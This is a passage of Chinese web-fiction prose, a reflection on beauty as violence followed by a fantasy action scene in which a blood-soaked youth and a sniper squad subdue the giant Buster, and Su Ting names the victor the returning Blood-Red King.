在艺术史上,美与暴力的关联素来存有争议。
不是谁都会觉得血呲呼啦的画面好看,也不是所有人都会欣赏浪漫化的暴虐行径。
然而无法否认的是,究极的美绝对是一种‘暴力’。
原因是什么,不擅思考这类话题的苏霆当下能给出满分答案。
对感官,对认知,对有思想的个体,它的无差暴力不会施舍一丝怜悯,也与圣洁慈爱毫不相干。
它就是来摧毁除它之外的美,叫人往后余生就只能注视它,为了它神魂颠倒。
不过片刻,在崖壁上纠缠的两名对手又分出了胜负。
血衣青年以扎入巨物体内的短刀为落脚点,踩上蹲伏,滑行着在它胸前剖开一条伤痕,致使它失手坠落。
之后的事就很顺理成章了。
狙击小队在远方换回机械弩,打开车上的第三个提包,取出他们的最后一发‘子弹’。
气|炮|弹曳着一道云迹,它与巨大化的巴斯特同时落地,悄无声息地散开绿雾,海浪般铺开。
雾气散得比烟尘快,显出地上恢复正常大小的巴斯特,他赤|裸着扑倒,像条搁浅的肉色大鱼。
确认这曾经的硬茬昏死,苏霆才回答观战以来的第一个问题。
——刚才击败巴斯特的血人是谁?
“都这么明显了,还要问吗?”
一年过去,他终于也甩掉不解风雅的头衔,勾唇笑着,措辞也刁滑起来,用玩笑说出真心话。
“能够谒见伊可·利奥波德之上的血红王再临,你们该对此感恩戴德,也要感谢自己足够幸运。”